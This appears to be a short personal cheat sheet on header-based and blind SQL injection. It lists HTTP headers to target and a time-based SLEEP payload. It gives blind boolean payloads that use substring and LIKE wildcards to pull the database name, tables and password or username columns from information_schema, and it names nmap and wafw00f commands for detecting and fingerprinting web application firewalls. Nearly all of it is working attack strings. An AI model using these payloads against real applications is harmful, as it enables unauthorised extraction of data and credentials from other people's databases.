SQL HEADER BASED

24 January 2020 04:50 PM

FOR HEADER BASED TRY ON --> URL,LOCATION,HOST,REFERER

EXPLOITATION--------

Do same as we did in blind time based sql
Ex=> ' OR SLEEP(2) ' AND 'A'='A

PAYLOAD FOR BLIND SQL=>

substring((Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97%23

TO FASTEN IT USE WILD CHARACTERS LIKE _ AND %

EX=>
Select username,password wehre city like 'u_t__%'

DATABASE=>
1' and (select 1 from dual where database() like '%')%23

Use the common character=>a,e,i,o,u,s,t,r,h

Tables=> ' and (select 1 from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')%23

Columns=>' and (select 1 from dual where (select column_name from information_schema.columns where table_schema=database() and table_name='users' and column_name like '%username%' limit 0,1) like '%')%23

WAF DETECTION

Detecting WAF using NMAP => nmap -p80 --script http-waf-detect <host>

Fingerprinting WAF using NMAP => nmap -p80 --script http-waf-fingerprint <host>

Fingerprinting WAF using WAFw00f => wafw00f.py <url>